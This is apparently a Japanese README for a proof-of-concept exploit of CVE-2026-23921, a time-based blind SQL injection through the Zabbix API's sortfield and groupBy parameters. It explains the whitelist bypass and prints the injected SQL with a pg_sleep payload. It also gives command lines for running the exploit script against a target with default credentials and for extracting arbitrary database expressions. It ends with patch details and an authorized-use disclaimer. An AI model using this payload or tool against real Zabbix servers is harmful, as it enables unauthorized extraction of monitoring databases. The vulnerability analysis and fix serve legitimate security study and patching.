
CVE-2026-23921の概念実証エクスプロイト。Zabbix APIのsortfieldパラメータを介した時間ベースのブラインドSQLインジェクションで、PostgreSQLおよびMySQLバックエンドからのデータ抽出を可能にします。
影響を受けるバージョン: Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
CVSS: 高
種類: sortfield パラメータを介した時間ベースのブラインド SQL インジェクション
認証要否: 要(任意の API ユーザー。Super Admin は権限結合を回避する)
レガシーな Zabbix API サービス(host.get、trigger.get、item.get など)は、zbx_array_merge() を通じて宣言されていない groupBy パラメータを受け付けます。CApiService::applyQuerySortOptions() では、groupBy 配列が sortfield の検証に使用されるハードコードされたホワイトリストを置き換えます。攻撃者は同じ SQL ペイロードを groupBy と sortfield の両方に渡します — 検証は攻撃者が制御するリストに対して通過し、ペイロードはエスケープされずに ORDER BY に到達します。
groupBy: ["hostid,(SELECT IF(...))--"] と sortfield: "hostid,(SELECT IF(...))--" を countOutput: true とともに送信するzbx_array_merge が宣言されていない groupBy キーを保持するapplyQuerySortOptions が groupBy からホワイトリストを構築する → 検証が通過するapplyQuerySortField がペイロードを ORDER BY に連結するcreateSelectQueryFromParts がエスケープせずに最終的な SQL を構築するSELECT COUNT(*) AS rowscount
FROM hosts h
WHERE h.flags IN (0,4)
ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50
THEN pg_sleep(3) ELSE pg_sleep(0) END)--
# PostgreSQL バックエンド(デフォルト)
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db pgsql
# MySQL バックエンド
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--user Admin --password zabbix --db mysql
# 既存の認証トークン
python exploit_CVE-2026-23921.py \
--url http://TARGET/api_jsonrpc.php \
--auth <token> --db pgsql
# 任意の式を抽出
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db pgsql \
--expr "current_user"
# 別の API メソッドを使用
python exploit_CVE-2026-23921.py \
--url ... --auth ... --db mysql \
--method trigger.get --sort-col triggerid
Zabbix 7.0.22 / 7.2.15 / 7.4.6 以降にアップグレードしてください。
このパッチは array_merge($options['groupBy'], ...) を array_intersect($this->sortColumns, $options['groupBy']) に置き換え、攻撃者が提供した値がホワイトリストに入らないようにします。多層防御として、追加の is_string() および is_array() 型チェックが追加されました。
このツールは、許可されたセキュリティテストおよび教育目的のみを対象としています。自身が所有するシステム、またはテストに対する明示的な書面による許可を得たシステムに対してのみ使用してください。